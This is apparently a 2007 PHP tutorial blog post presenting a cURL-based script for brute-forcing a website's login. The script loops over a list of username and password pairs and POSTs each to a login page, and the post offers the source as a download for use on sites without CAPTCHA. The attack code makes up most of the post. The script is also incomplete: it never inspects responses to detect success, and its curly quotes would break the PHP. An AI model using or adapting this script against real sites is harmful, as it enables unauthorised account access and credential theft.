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To make brute force attack you can use CURL library to grab web content .

Brute Force Attack here is to try to find exact username and password which is had by a site..

For example you want to login …. if you try one by one it will take a lot of time

But with this code you just make list of username and password …

And the program which will try all the list automatically …

This code can’t be process if the site has CAPTCHA or Generate Image Verification

You can download source code here :

http://phptutorial.byethost13.com/BFA.zip

<?

function InsertAuto($username,$password)
{
$url=”http://localhost/login.php“;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_POST, 1);
$post_fields = “username=$username&password=$password”;
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response_string = curl_exec($ch);
curl_close($ch);
return $response_string;
}

$row[0][0] = “username1″;
$row[0][1] = “password1″;
$row[1][0] = “username2″;
$row[1][1] = “password2″;
$count = 2;
for ($i=0;$i<$count;$i++)
{
InsertAuto($row[$i][0],$row[$i][1]);
}
?>

This entry was posted on Tuesday, May 8th, 2007 at 9:07 am and is filed under PHP. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.